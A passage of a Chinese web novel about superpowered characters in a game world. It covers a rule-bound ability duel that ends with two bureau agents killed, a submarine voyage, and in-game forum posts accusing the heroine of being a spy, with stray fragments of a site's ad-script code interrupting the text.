丛黎在意识连接内对纪学默道：【不要动，伪装成你也是异能者的样子，我会告诉你什么时候可以动。】 【纪学默】：好。 “咔哒”“咔哒” 扭蛋机内的粉色球形物体滚动着。 丛黎忽然想到： 不对，如果是纯靠运气抽取能力，“扭蛋机”异能者自己的胜算也很难估算。这样的话，这种异能只能在战术比赛上运用，却无法运用到实际战斗中。 既然能在实战中运用，那么“扭蛋机”异能者自己一定能从扭蛋中获利——用什么方式？ “1” 第一个数字灭了下去。 一颗粉色扭蛋滚下来，落在出货口。 【镜中之人】 燕尾看到自己面前出现了面板介绍规则： 技能：【镜像伪装】【镜像操纵】【镜像复制】 是个不错的异能，但对于燕尾来说有点难，他习惯了“数字加成”那种简单粗暴的打法，这个更偏向于利用诡计和巧思获胜的异能一时间难以操控。 “2” 第二个数字灭了，粉色扭蛋随之落下来。 【标签之下】 获得这个异能的是那个男人。 技能：【在敌人的不同身体部位贴上不同数字的标签能造成不同程度的伤害，要害处贴上数字为10以上的标签则致敌人死亡】 危险系数有点高的异能，稍有不慎会死亡。 时间的流动似乎格外缓慢，如同高密度的液体侵夺着呼吸，黏稠而令人窒息。 丛黎之前还抱着一线希望，如果她能使用法则审判或许会好一点，虽然她暂时不知道该怎么对付“扭蛋机”的法则。 但按照现在的情势来看，这回是绝对不能用法则审判了。 她只能颓唐地接受现实：换个思路的话，尝试一下别的异能也不错。 “3” 第三个粉色扭蛋落下的时候，上面并没有文字。 【？】 获得者是那个女人。 其他的粉色扭蛋上都会显示异能的名字，但唯独扭蛋机主人抽到的扭蛋上是隐藏的。 这就是扭蛋机异能拥有者自己从中获利的一环吗？ 在这个世界，异能的内容本身就是一项秘密情报，知道敌人的异能后战斗会变得简单多。与其面对未知的敌人，不如让敌人的异能变成已知的，让自己的异能变成未知。 这样看来，扭蛋机主人获得的优势是信息差，能在某个机会中出其不意地攻击。 丛黎有点紧张。 现场只剩下她没抽到扭蛋了。 既然“扭蛋机”是法则系异能，那么一定会遵守游戏规则，让在场的所有异能者能发挥出力量。 如果是遵照这个规则，她大概率也能从盒子里出去，参加二对二的战斗。 “4” 第四个数字和第四个粉球。 【随机武器】 获得异能的是丛黎。 技能：【随机获得一件武器，可以使用精神操控武器，两分钟后武器自动换成另一件】 意料之中。 既然能使用精神操控，那么她在盒子里也能操纵武器。 “扭蛋机”规则果然会让所有游戏参与者都能具有行动力。 有点糟糕的异能。 万一抽到没什么用的兵器岂不是…… 更可怕的是，如果在第一分钟五十九秒时她正好用某狙击枪打出一发子弹，那么时间跳到第二分钟时，岂不是这把狙击枪和那发子弹都会消失，换成另外一把武器？ 【丛黎】：我抽到了随机武器。 【纪学默】：情况严重吗？ 【丛黎】：不是很严重，但也不是很好。 扭蛋机的屏幕上出现了倒计时。 5 4 3

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > …… 数字“1”消失的时候，扭蛋机也随之消失，所有参与者获得的异能生效！ 窄小的房间内，这场没头没尾的战斗开始了。 不知道敌人为了什么而来，不知道敌人是否要置他们于死地。 唯一的办法是打败那两人，问清楚他们的动机。 不幸的是，丛黎第一次抽到了一把水果刀。 瘦弱的水果刀漂浮在空中，没什么杀伤力的样子。 【丛黎】：你听我说，我好像猜到了那个女人获得的异能会接近什么。 【纪学默】：？ 男人手里多了一张标签，他看准了纪学默的方向，手指发力。他手中的纸质标签顿时好像变成了锋利的刀片，朝这里飞来。 丛黎立刻用精神操纵着水果刀，横飞过去，及时切开了标签，躲过这一击。 【丛黎】：扭蛋机需要投币，也需要异能，但异能从哪里来？所以其实我们抽到的异能扭蛋，只是我们四个人的异能变体。 【丛黎】：“随机武器”就是“扭蛋机”的变体，“标签之下”就是“数字加成”的变体。 【丛黎】：之所以他们两个人敢使用“扭蛋机”和别人战斗，是因为他们知道比敌人更多的信息。 那两个人知道敌人分配到的异能会是他们自己异能的变体，他们对自己的异能了如指掌，因此也在这场比赛中得知了敌人的致命弱点！ “扭蛋机”主人知道“随机武器”的弱点在哪里。 另一个异能者也知道“镜中之人”的弱点在哪里。 而他们的敌人，她和燕尾，默认是不知道这一点的，以为大家都抽到了陌生的异能，还在思考的时候就落了下风。 这就是他们通过扭蛋机获得的优势。 【纪学默】：隐藏扭蛋…… 【丛黎】：那个女人获得的隐藏异能扭蛋，一定是“高维空间”的变体。 写了数字的标签如同满天树叶一般充满了视野，往纪学默的方向飘去。 而名为“恶魔之手”的攻击，向还在思考应该怎么运用镜子异能的燕尾袭去！ 【丛黎】：不用担心，因为现在我们也知道了他们的致命弱点。告诉燕尾，利用这把水果刀的镜面。 57. 死亡交响22 【镜像操纵】 水果刀双面的磨光锋刃形成了两面窄瘦如丝带的的镜子，一面映出燕尾，另一面映出那个手拿标签的男人。 画面模糊，但不影响效果。 燕尾做出了动作，他弯起手臂，男人也被迫弯起手臂，表情在镜面上扭曲成雾气。 男人操纵的标签纷纷停止在空中。 而标签本该飞向的目标——纪学默也因此安然无恙。 “现场没有镜子，‘镜中之人’异能没有用武之地，但你们竟然会想到使用随机武器中的刀来制造镜面。” 除了神态和声音以外，男人的肢体动作无法自控，他语气复杂地开口道。 在男人说话的时候，女人的“恶魔之手”行动了，她的目标本就是燕尾，此刻更是明确地冲着燕尾下手。 燕尾没有乱阵脚，而是按照纪学默告诉他的，通过镜面操纵着男人。 微微侧身，抬臂。 随着燕尾的动作，男人像提线木偶一样被迫移动身体，手指被无形的线拎起来，向外发力。 霎时，他手里的标签如飞鸟般旋往女人的方向。 男人虽然被迫攻击队友，但他的神色忽然一变，将刚才伪装出来的面孔彻底撕破，哈哈笑起来：“……不过，这招可真是弄巧成拙。” 女人身体下意识微微后仰，伸出一只手，用“恶魔之手”拂开所有标签。 纸质标签在绝对的力量下瓦解，灰飞烟灭！ “水果刀成为镜面，相当于其中一个人的战力被舍弃了，而通过镜像操纵控制别人的那个人，也无法腾出身来，因为他必须操纵傀儡！相当于两个人抵抗我一个人，利用我来攻击我的队友——可她，不是我能对付得了的。两分钟很快过去，到时候镜面可就消失了！” 男人的表情不被镜面操纵所控制，扭曲又得意。 丛黎用精神控制着水果刀，轻声道：“就再让你们得意两秒吧。” 女人在经过异能使用后，开始熟悉“恶魔之手”的方法，这次她在右手的基础上加上了左手。 女人的语气里带着高高在上的嘲讽：“我没想到你们竟然那么好对付。真是高估你们了。” 她一手对付向她飞来的标签，另一手则伸向了正在进行镜面操纵的燕尾。 就在此时，水果刀忽然方向一转！ 镜像操纵停止了。 男人一时没防备，手上来不及用力，多个标签坠落在地面，异能所形成的标签化为乌有。 女人的右手张成爪状，发力方向是往内收拢，本意是要将燕尾如掌中之物一样捏成碎片血肉横流。 她的左手则成掌状，掌风横扫，以便应对向她飞来的众多具有伤害力的标签。 但此时，一直注意着标签的女人余光扫到那些标签突然消失，她的反应慢了一拍。 她下意识地以为，通过镜像操纵着男人的燕尾使用了阴招，让标签从其他方向飞来了。 正在女人的注意力分散的时候，战场局势大变。 “复制。”纪学默按照丛黎的叮嘱，通过通讯器轻声向燕尾传达。 纪学默向燕尾传达的指令共有四个：操纵，攻击敌方队友，复制四次，操纵。 现在到了第三个指令生效的时候了。 【镜像复制】 丛黎让水果刀转向小房间的四面墙，漂浮在空中的水果刀速度均匀地转着方向。 镜面上映出第一面墙，复制！ 转向，第二面墙，复制！ 第三次转向，第三面墙，复制！ 第四次，第四面墙，复制！ 在极短时间之内，小房间内，一个更小的房间形成了！ 异能局的那两位反应过来的时候，同时在心里爆发出了震撼的惊叹：还能这么用！ 丛黎模仿敌人自鸣得意的解说行径，也开始为自己解说，当然，声音仅限于盒子范围内： “她第一次使用我的异能，根据字面‘恶魔之手’理解为需要用手来操控，却没想到用意念就能做到高维移物。” “当然，她不知道的还有，比如移物还可以通过远景穿过三层障碍使用。” “扭蛋机”最大的败笔就在于让丛黎也看到了其他几个扭蛋异能的技能。 如果她不知道“镜中之人”的使用方法，那么仅仅凭她的“随机武器”，这次的结果可能悬。 丛黎传达了第四个指令的开始时间：“燕尾，通过镜像操控墙壁往外推。” 两分钟一到，水果刀的镜面就会消失。 而她要赶在那个女人学会隔着障碍物使用“恶魔之手”之前发动攻击——当然，她不会让那个女人有机会知 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道这个秘密的。 【镜像操纵】 燕尾完全没想到镜像操纵居然可以操纵除了人之外的东西，他往前迈了一步。 阻隔在两方中间的那堵复制出来的墙仿佛长了脚一样，开始往前移动！ 面对向他们挤压而来的墙壁，女人看向她的队友：“你的操纵还可以操纵非活物？！” 男人无奈：“原则上来说是可以的，因为人类也是由分子和原子组成的。” 天杀的！ “把墙捏碎。”女人当机立断。 明明是十秒不到的时间，却感觉像十分钟那么漫长。 在墙壁向他们移来的过程中，女人立刻发动恶魔之手捏碎了墙壁。 墙壁消失的那一刻，烟尘滚滚。 女人预料到了从烟尘中走来的会有他们的对手，抬起手准备向他们发动攻击。 男人也预料到了，他催动所有标签向烟尘中飞去。 但他们没有预料到的是，墙壁后面，依然是墙！ 该死，对手又复制了墙壁！ 只要水果刀的镜面存在，那么“复制”“操纵”两个技能交替着来，他们两个人一直会面对墙壁。 “没关系，两分钟后，那把刀就会消失，就不存在镜面了。”女人强撑着捏碎一面墙又一面墙。 与此同时，两人也被移动的墙壁逼退到角落里。 两人已经顾不上自己来时的目的，被逼到绝境的两人心中唯一的念头就是：杀了纪学默和他的保镖！ 两分钟只剩下几秒。 3 2 1 …… 在又一面墙壁倒下的时候，两人再次准备朝敌人进行攻击。 这次一定会成功。 水果刀消失了，镜面消失了。 【恶魔之手】 【标签之下】 出现在面前的，又是一面墙！ 随机武器的确从水果刀变成了一把。 但是镜面却没有消失。 燕尾缓缓从墙后踱出来，手拿着枪，对准了那两个人。 他平时戴着的眼镜，那副用来扫描数字的眼镜，此时一反常态地反着光。 丛黎当解说员当上了瘾，在盒子里自言自语：“智能眼镜调节一下也可以变成镜面的，笨蛋。” 58. 死亡交响23 看起来胜负已分。 结果如同白纸上方方正正的黑色印刷字体一样摆在双方面前。 “如果不想被墙碾压成肉末的话，就老实交代。异能局派你们来到底是什么意思？”燕尾一手握着一把枪，透过没有反光的那一只镜片冷眼瞧着两人。 他用镜面复制出了两把枪！ 被枪指着显然不是那么好受。 那个男人露出了有点后悔的神色。 原来他的异能那么好用，那什么数字加成半点不及他的异能。说到底，是“扭蛋机”异能拖了他的后腿。 怨怼的情绪悄然滋生着。 那个女人开口了：“你想知道原因？” 丛黎察觉到燕尾有些犹豫了。 燕尾做事的目的性很强，从第一次他和苍术对上的时候就能看出来，他能动嘴就绝不动口，这既是他的长处也是他的弱点。 他现在的目的就是问出异能局为什么派这两个人来，为什么一上来就不由分说地攻击他们。 其他事他觉得没必要做，免得反而惹火上身。 但他一个人凭借“镜像复制”“镜像操纵”以及两把狙击枪是无法和两个人对战的。 丛黎做好了燕尾在这个时候反而被那两个人反杀的准备，一旦燕尾遭到反杀，那么她就得行动。 “要说就快说，别废话。”燕尾不耐烦地催促道。 那个女人脸上的线条忽然扭曲了一下，一个诡异的笑：“……恶魔之手，原来不只是用手操控的啊。” 她发现了！ 那个女人终于发现“恶魔之手”的使用技巧之一了。 丛黎意识到战局即将发生改变。 但是现在还没有完全改变，因为燕尾还有藏着的一手。 在那个女人笑起来的时候，拿枪指着两人的燕尾仿佛被一双无形的大手捏住了，露出了痛苦的表情，随后—— 血肉横飞！ 女人哈哈哈哈大笑起来。她用意念操控着“恶魔之手”杀死了燕尾。 “知道我为什么一开始不讲明我们的来意吗？因为那样的话，你们绝对不能赢过我们，除非杀了我们。但是杀了我们就代表你们永远不知道事情的真相。” 小房间已经因为多面墙壁的移动而变得千疮百孔，宛如废墟中的迷宫。 在墙和墙的交界处，一个人影踏了出来。 “不，你想错了。” 那是燕尾，穿着皮衣皮裤浑身锃亮的燕尾，眼镜片反光的燕尾，语调轻松地道。 那个女人的笑像被卡住了：“……你用了镜像复制？复制了你自己？” 燕尾推了推眼镜：“不骗一下你们，怎么能看到你们那令人感到好笑的表情呢？要不要猜一下，现在的我是复制体还是本体？” 可恶。 那个女人咬着牙，冷静下来：“不管来多少个复制体，都是死。” 眼前的这个燕尾再次被捏爆！ 场面血腥极了。 镜像复制出来的复制品都是有实体的，正如那些移动的墙壁一样，重量、材质都一模一样。复制出来的人也不是一戳即破的气泡，而是有血有肉的。 虽然人们至今不知道这些复制出来的物质都是从哪里来的，到底是幻象还是真实存在的，但至少，视觉上是这样的效果。 破法则系异能是一种能颠覆人们想象中的正常状态的异能。 但在那个女人气急败坏地动手、那个男人沉默不言的时候，丛黎感到危机在逐渐逼近。 只要燕尾不对他们两个人动手，那么局面一直会是僵持着的。 那个女人对“恶魔之手”的运用会越发精进，她不会放弃这个强大的异能，所以除了死，她不会解除“扭蛋机”异能。一旦她发现可以跨越障碍物操作“恶魔之手”的话，情况会变得很糟。 燕尾的强目的性和过分理智让他陷入了陷阱，他不愿意动手。 丛黎正在两难之中，纪学默忽然开口问她：“现在，是不是只能杀了那个女人？” 丛黎愣了一下。 她思考过，到底在什么情况下可以容许自己夺去一个人的生命。 对方的威胁到底要到什么程度，她才能放任自己动手。 在她自己那个世界里被训练形成的高道德，对她来说到底是好还是坏？ 她在这个世界里的底色，到底是黑还是白？ 和燕尾一样，她同样有点犹豫。 纪学默见她没有回答，笑了笑。 隔着重重叠叠复制出来的墙壁，纪学默出声问道：“如果我出来投降，你们会杀了我吗？” 同样将自己的真身隐藏在墙壁后的燕尾被纪学默的质问惊到了，他震惊地看向纪学默。 这是纪学默在这个战场上第一次开口。 在这种看起来是他们有利的时刻，他提出了这个问题。 那个女人的眼里流露出毫不掩饰的恨意，她放声道：“我们的任务本来就是可杀可不杀，杀了你也没关系。” 海务局、监狱局和异能局之间本就有利益关系。异能局多年以来源源不断地向前两者派送着武力资源。 更何况，纪学默只是个体，海务局和监狱局当然会无条件偏向异能局。 那个女人冷笑的声音隔着层叠的墙传来：“既然你刚才选择了把我逼进绝境，那我们之间的和平可能性彻底结束了。” “你没有选择的……” 话音未落，一颗子弹没入了女人的眉心。 丛黎用精神操纵着那把狙击枪，枪从墙壁后绕了出来，向十字准星中的目标开了枪。 血液在那个弹洞附近迸溅开，在女人的额头上像一个赤红的纹身。 女人睁大着眼睛，往后倒下了。 不仅是那个正在观战伺机而动的男人，就连燕尾都被突如其来的转折镇住了。 女人的死亡让异能“扭蛋机”失去效力，在场剩下的人恢复了自己的异能！ “我们……”燕尾一下子没缓过来。 纪学默在通讯器内对燕尾道：“燕尾，还没看清楚吗？你看看地上的残肢和血液，那都是你的复制体。如果你是其中一个，你现在早就死了。他们抱着杀死我们的决心在战斗，你却在考虑怎么从他们口中审问出情报。” 在纪学默和燕尾交流的时候，那个男人发现自己恢复了异能，立刻开始行动。 现在“扭蛋机”不再束缚着他，他可以肆意用自己的异能战斗，以牙还牙地报复回去。 男人从腰包里掏出一块玻璃。 扭蛋机中的“镜中之人”不过是他的异能“玻璃”的变体，他的异能更为强大而全面！ 他将那片玻璃对准那些墙壁。 现在那两个人的真身都在墙壁背后躲着，“随机武器”也失效了，他可以使用【玻璃穿越】径直到他们面前，杀死他们完成任务，一个人揽下功劳回到异能局交差。 咻。 子弹同样没入了他的身体。 “不……” 他想说不可能。 可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是他忘了，对手恢复异能后，是比异能变体“恶魔之手”更为高级的异能。 那只无形的手穿透三重墙壁，从他的同伴身上摸出枪，一枪，解决了他。 两个人都死在了现场。 燕尾意识到事情已彻底无法反转，他冷静下来：“幕僚长，现在他们死了，异能局会不会彻底记恨上你？我们会变成亡命之徒吗？” 纪学默冷淡地道：“不会。两个棋子而已，还不至于动到异能局的核心利益。” 丛黎有一瞬间差点以为纪学默恢复记忆了。 但她很快反应过来，纪学默的记忆依然是空白的，这只是他本能般的应对和思考逻辑。 在允许持有枪支的国家，冲突更为危险，道德感也更低。 同样的，在三分之一的国民都拥有异能的这个赛博世界，丛林法则体现得更为淋漓尽致。 在那个世界形成的高道德感并不适用于这个世界。她要面对的是危险的原始丛林。 丛黎不再像刚才那样感到犹豫。 她的心里非常明确。 所以她才会及时反应过来，配合纪学默，杀死了那两个抱着恶意的人。 她没有后悔这个选择。 燕尾顺从地回答纪学默：“我知道了，是我想得太简单了。” 纪学默带着盒子离开了这个已经混乱得不成样子的小房间，燕尾跟在其后。 监狱局的安检官对于他们的出现有些诧异，不过立刻恢复了镇定，问：“那两个人怎么回事？” 纪学默：“自相残杀。” 从现场的线索来看，确实是“自相残杀”。四处高耸的墙壁是来自于其中一人的“玻璃复制”异能，而夺走两人性命的子弹正是来自他们身上的枪支。 纪学默冷冷睨了一眼安检官。 安检官看懂了他的眼色，意识到在这个局里，继续胜利下去的只会是幕僚长。 胜者为王。 安检官没有多说什么，语气和善：“你们已经通过安检了，这里的事我们会处理，和你们无关。” 纪学默顺利登上了囚犯艇“深黑号”的军官舱。 “这次出现意外，一定是因为我失去了记忆，没有去做某些环节，导致我们陷入了危险。”他轻声对丛黎说。 丛黎猜测的也是这样。 纪学默和尾迹云组织进行了交易，而这个举动刚好和异能局利益相悖。 之前蒋涟霏说过，异能局收到消息有神秘组织会刺杀总统，因此才会派新的异能者保镖来到浮空岛上。 说明尾迹云组织可能被异能局渗透了一部分。 如果是记忆完整的纪学默，应该会在刺杀事件后继续做点什么，以稳住异能局这边的势力。 但他偏偏失去了记忆，没有行动，导致事态失控了。 纪学默：“对不起，是我让你陷入危险中了。” 他坐在单人隔间的位置上，身体前倾，手捂着额头，表情有些懊恼。 他在意识内喃喃道：“这样的我……” 丛黎隐约有种会出事的预感：“纪学默！” 纪学默表情空白，黑色眼眸里幽黑不见光。 大概率……是彗兽的孢子囊在趁机侵蚀他的意志！ “这样的我也算是我吗？可我到底是谁？你看着我的时候，看到的是以前的纪学默吗？如果我和以前的我同时出现，你又会选择谁呢？” 他轻声问她。 她确定地道：“别傻了，我怎么可能信任以前的你。” 59. 死亡交响24 “别傻了。”她说。 “我”这个概念就像是纪学默脑中的残影，隐约地在错综复杂的思绪网后飘荡。 他有些神志不清地抬起头，试图在空气里找到她，那个对他说话的声音。 可是她不在。 哪里都找不到。 他问：“你在哪里？” 丛黎环顾四周，确认安全后，把自己的投影从盒子里放了出来。 她半蹲在纪学默面前，和他对视：“别动摇，别怀疑自己。” “嗯。”他点了点头，表示顺从，又指着自己说，“如果我是一幅拼图的话，缺了一块依然是我。” 丛黎有种在开导幼儿园哲学系小朋友的错觉。换做是以前，她恐怕没耐心听他说这种话，但为了共同的敌人彗兽，她会尽力帮助他。 毕竟，那种名叫“不休”的物质也缠绕在她身边。 她说：“你可以这么理解。” 他：“缺了两块也是我，缺了三块、四块都没关系。可是如果全部都缺了的话，还是我吗？” 如果他还有记忆的话，他应该会想起：他的第一个名字是从父亲的黑头发基因那里捡来的，他的第二个名字是从他杀了的那个人手中夺来的。 用权术和情报构建的属于“纪学默”的蛛丝缠绕在他身边，既保护着他也对准他的咽喉，随时会要了他的命。 失去记忆的纪学默，在某种程度上已经无法掌控这张巨网了，他不知道蛛丝与蛛丝之间的结点在哪里，这个世界上没有一个人知道，只有从前的他知道。 “我很快会死的，不仅仅是因为那个怪物，更因为我自己给自己布下的网。”他憋闷地道。 他是个胆大到近乎癫狂的人，他聪慧敏锐，冒着最大的风险杀了原主，和纪家谈判后却又并不完全依附于纪家的势力。 他在众多庞大的集团中间，游离于外，他们忌惮他，却又依赖他。 或许除了“自保”这个目的以外，他本身就在享受着这种走在钢丝上的乐趣。 丛黎在沉默的时候，也在试图理解着眼前这个人。 她开口道：“你知道灰尘和碎屑吗？就算全都没了，拼图上掉下来的碎屑和灰尘还留在那里。” “好……我知道了。”他这样说着，神色却颓唐无比。 完全死寂的眼神。 有时候她也会变成这样，鬼一样的空洞。 丛黎按住了他的手：“你到底哪里难受？” 他的手上用力，却没有抓住她，他的身体虚脱地往下，重心滑下去，脊背磕磕绊绊地从椅背倚到了椅子脚边。 他坐在了地上，低着头，额前的黑发垂在眼前。 “不知道，我要是知道的话，就不会难受了。” 闷闷的语气。 是彗兽孢子囊侵蚀意志的作用。 她已经开始不耐烦了，索性在他旁边坐下：“我没有那么多耐心，要不我抱着你？” 他诧异地抬起眼看她，眼里闪过微微的光芒，那种茫然无措依然消去了大半。 这招果然可行。 可恶。 “可以吗？”他轻声问。 丛黎：“……可以。” 她靠近他，把他往她怀里拖。 两人以一种扭曲的姿势坐着相拥。 沉默。 “深黑号”长约八十米，黑色金属表面光滑流畅，静寂的巨鱼缓缓往水下沉潜。 这艘载着几百个囚犯的潜艇在不透光的深海里往下。 海水鼓动着，越往下，鱼类越少，越接近深渊。潜艇的水下探照灯投出的几束光芒窄窄的。 “深黑号”潜艇正在往一号水下城的方向下潜。 军官舱里只有寥寥十数人，每隔一段时间就有人离开单人隔间出去视察囚犯舱。 燕尾在另一个单人隔间里休息，经历了那次战斗，他紧绷的精神总算可以放松一些。 单人隔间里安静极了。 丛黎几乎觉得他已经睡着了，便问他：“你还醒着吗？还好吗？” 他说：“还醒着。再多一点时间。” …… 无边无际的沉默和下潜。 丛黎又问：“你还醒着吗？可以松手了吗？” 他说：“再多一点点时间。” 在“深黑号”往深海处下潜时，深夜十一点五十九分的机械钟响了一声。 随后，潜艇内传来一声悠长的钟声，只有一下，但足够让艇内所有人清清楚楚地听到。 00：00 次日的零点到了。 原来已经那么晚了，已经是午夜了。 丛黎昏昏欲睡地想。 她提醒：“零点了。” 他没有像刚才那样回答。 她吓了一跳，抬起他的头探了探他的气息：还活着。 呼吸绵长均匀，看来只是睡着了。 他睫毛很长，密密的，在眼下覆盖出阴影的纹理，唇色有点苍白。 她正想把怀里的纪学默扔到一边去，系统却突然来了一条提醒。 【游戏月度总结报告来了！】 【导语：从一开始发现异能到今天零点，一个月过去了，玩家们是不是熟练异能的使用了呢？熟练那些机械植入体了吗？以下是月度总结报告：第一个月。】 【本月玩家共触发23个任务，完成任务者10人，任务失败者8人，放弃任务者5人。】 【玩家获得主线任务“穿越真相”线索共计两片，获得者玩家“有点方”】 【触发世界观公告共4条，触发者分别为玩家“有点方”、“年年有余钓鱼佬”、“有点方”、“头顶锅盖”】 【玩家之间的临时同盟首次开启了论坛的情报版块，开启者玩家“有点方”“小白plus”】 【根据论坛讨论度和情报版块浏览数，玩家获得的声望点榜前三为：玩家“系统亖了”，玩家“有点方”，玩家“1100101”】 …… 【剩下的26910个玩家们，恭喜你们度过了艰辛动荡的第一个月。】 【本月的月度线索：1.玩家论坛中潜入了间谍。 2.明天零点起将引入另一个服的玩家加入论坛玩法。】 丛黎从瞌睡的状态中惊醒过来。 系统在零点发布的月度报告像一颗炸弹一样。 这几天已经趋近于平静的论坛在瞬间之内充满了活人。 任务、声望点、被挂在公告栏上的玩家大佬，这些已经被讨论得足够多。更多玩家注意到了关键的月度线索：间谍、另一个服的玩家。 8L：间谍，谁懂我在看到这个词后脑子都快炸了的感觉。 12L：哪里的间谍？非人类间谍？这个世界的原住民间谍？还是游戏官方间谍？友商间谍？混乱死了。 2L：还有另一个服的玩家，怪不得我看到我们论坛上的玩家总数共30000，我寻思着这么个大厂的游戏，就算只有发布首日也不可能至于那么点人下载。 5L：没人注意到论坛有个地方已经悄悄挂上了“在线人数”吗？在线人数26910，已经死了那么多玩家了吗？（轻轻）（抽气）啊现在又掉了一个，变成26909了。 6L：另一个服，是联邦以外的玩家吗？ 9L：公司联盟的？ 17L：啊？联邦内只有三万个玩家吗？ 18L：楼上你别太离谱了，联邦内要是有那么多玩家的话，我上个街都能碰到玩家。 23L：但是，但是，如果另一个服的玩家数也差不多的，人数还是不对劲啊，《生命水》是老牌游戏公司开维的游戏，虽然没有内测，直接发布了，但是首日下载量少说也有一百万吧，剩下的玩家去哪里了？ 丛黎没有发言，继续做着她的潜水党，快速浏览着热帖。 线索越来越多，事态却越来越复杂。 游戏第一个主线任务是“穿越真相”。 不同服的玩家，玩家数量。 以及，间谍。 最开始的时候，她想过找出真相，但现在看来，这不是她一个人能完成的事业。 她继续往下翻着帖子，忽然看到了一个帖子的标题是“我是目前声望值最高的玩家，对于间谍，我有一个猜测”。 她是声望值第二的玩家，看到这个标题果断点了进去。 1L（系统亖了）：看我ID，我是“系统亖了”，目前声望值最高的玩家。 2L：先蹲蹲，仰望大佬。 3L（系统亖了）：为表示诚意，我先说一下我的情况，我在现实生活中是小有名气的游戏主播，具体是谁我就不说了，免得暴露太多。 4L：游戏主播？是我关注的那个吗？开始好奇。 5L：我们论坛里也有不少游戏主播，我看到过好几个了，看他们的口癖就能猜得出来。 6L（系统亖了）：我玩这个游戏玩得很艰辛，一开始身份抽得不好，加大了难度。直到情报版块出来，我才找到了我的领域。我分享了很多情报，浏览度和点赞数都不低。 7L：啊，我知道，那个很多关于联邦政府的情报都是你发布的吧？超详细的！怪不得你声望值最高，真的很有用！ 8L：我也看过，很多政府内部情报都有，异能局，监狱局，经济规划部，什么都有，我都怀疑发布情报的玩家是间谍了，居然了解那么多。 9L：有意思，蹲蹲。 10L（系统亖了）：你们要怀疑我是间谍也可以，但我必须说明我不是间谍，我辛辛苦苦搞来的情报分享给大家，首先是希望存活下来的玩家越多越好，这个游戏的机制谁都不清楚，但我尽量能搞到多少情报就搞到多少情报。 11L：明白，楼主辛苦了。 12L：确实发布那些情报需要冒很大风险，如果有内部的玩家，或者那个间谍在看的话，楼主分分钟暴露。 13L：楼主很有责任心，我相信楼主。 14L（系统亖了）：浮空岛的事件我也全部了解了，事情很复杂，参与的势力也很多。但就是因为了解了浮空岛的事件，我才会产生怀疑。直到今天系统的月度线索出来，我的怀疑加深了。 15L（系统亖了）：浮空岛上的刺客“有点方”没死，这是我可以推断出来的，但她究竟用了什么手段，我不知道。整件事情有很多对不上号的地方。 16L：楼主的语言表达能力不行，这里一句那里一句的，是不是九漏鱼？ 17L：楼上闭嘴。 18L（系统亖了）：抱歉，我可能表达得不是很清楚，本人工科男生一枚，嘴比较笨。总之就是，浮空岛那整件事漏洞很多，现在人权会那里也闹起来了，人工 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 智能冬客和总统演播室被黑客入侵的话题也挑起来了，就连人质幕僚长都疑似掺和其中。 19L：我知道你想说的是谁了，你想说玩家“有点方”是间谍吧？但不是有道具“记忆分存”吗？整件事对不上号，不就是因为玩家运用了道具吗？ 20L：我也觉得，楼主大概率嫉妒。 21L（系统亖了）：我解释不了什么，说什么都很无力。我按照我自己的原则来，我把我分析的告诉你们。 22L（系统亖了）：在月度公告里你们也可以看到，主线任务的两个线索都是玩家“有点方”获得的，请问“有点”到底是哪里触发的线索？高维降临是从哪里触发的？彗兽是从哪里触发的？ 23L（系统亖了）：你们去搜索“有点”的言论，就会发现她说过她的异能不是“高维空间”。是不是有点矛盾？ 24L（系统亖了）：高维降临是第一个穿越线索，“高维空间”异能者是重要的锚点，是“高维空间”异能者把所有玩家拉下了水，让玩家们穿越了。她第一个发现高维降临，这点就已经足够可疑。 25L（系统亖了）：再来，玩家同盟也是“有点”触发的，估计是她提出来的。她在和“小白plus”在论坛上对峙的时候，显然胸有成竹，她知道小白的身份，甚至提出了线下会面。 26L（系统亖了）：四条世界观公告，按照顺序来看，最重要的两条“法则系”和“彗兽”世界观公告，都是她触发的。 27L（系统亖了）：都说到这里了，你们应该懂了。 28L（系统亖了）：第一个任务（超高难度的）。第一个世界观公告。第一个玩家同盟。第一个主线任务线索（包揽两条线索的玩家）。第一个情报版块开启者。 29L（系统亖了）：系统说了，所有的世界观什么的都由玩家触发。但是她好像什么都知道，好像扮演了一个引导玩家了解游戏的角色。 30L（系统亖了）：我对“有点方”没什么恶意。我觉得这个“间谍”可能是游戏官方的意思，用来引导玩家的。 丛黎两眼一黑又一黑。 到底什么时候她变成了引导玩家的官方间谍了？ 她只是倒霉了一点，抽身份卡的时候抽到了一个比较微妙的身份。 帖子再往下看。 59L：我去，我被说服了。 60L：引导玩家的游戏官方，间谍，不会真的指的是这个意思吧？ 78L：@有点方，出来回应。 80L：如果真的是游戏官方，到底是什么居心啊？死了那么多玩家，给不给解释？@有点方 91L：我们还回得去吗？@有点方 92L：别那么天真了，这个收割玩家性命的游戏不会放过任何一个人的。 99L：大家理智，只不过是猜测而已。还没有证实的猜测，不要那么真情实感地恨上人家。 100L：@有点方@有点方@有点方 …… 从玩家“系统亖了”的话语中确实感觉不到他的恶意，但玩家们不会买账。 玩家们穿越以后遇到的所有苦难和怨恨，在一瞬间之内有了一个出气口。 在某个时刻之后，论坛上忽然有十来个帖子都在讨论“有点方”，里面不乏理智的人，充满恶意和埋怨的玩家却占大多数。 丛黎懵了。 她还没反应过来，铺天盖地的怨气已经冲着那个ID“有点方”涌来了。 她退出论坛。 纷繁的事项在她脑中缠绕打结，让她的情绪都接近于零。 事情来得很快，大众也被煽动得很容易。 但是当事人丛黎还是一头雾水的状态，她已经死机了。 空白一片。 “深黑号”依然在往下沉潜。 深海里没有一丝光线，什么都没有。 水下探照灯被黑暗吞没，只留下了越来越短越来越窄的一截光束，其余的都被黑暗所吞食。 她低头看到纪学默，他不知什么时候睁开了眼睛，正注视着她。 她又问：“好一点了？” 他轻声道：“不，再给我多一点时间。” 她无情地松开手。 失去支撑的他勉强用手肘撑起自己，免得像面包一样砸在地上。 她：“……” 她就知道。 他这个狡猾的狐狸。 解决了纪学默的事，她重新登上论坛，发布了一个帖子： 【我是玩家“有点方”】 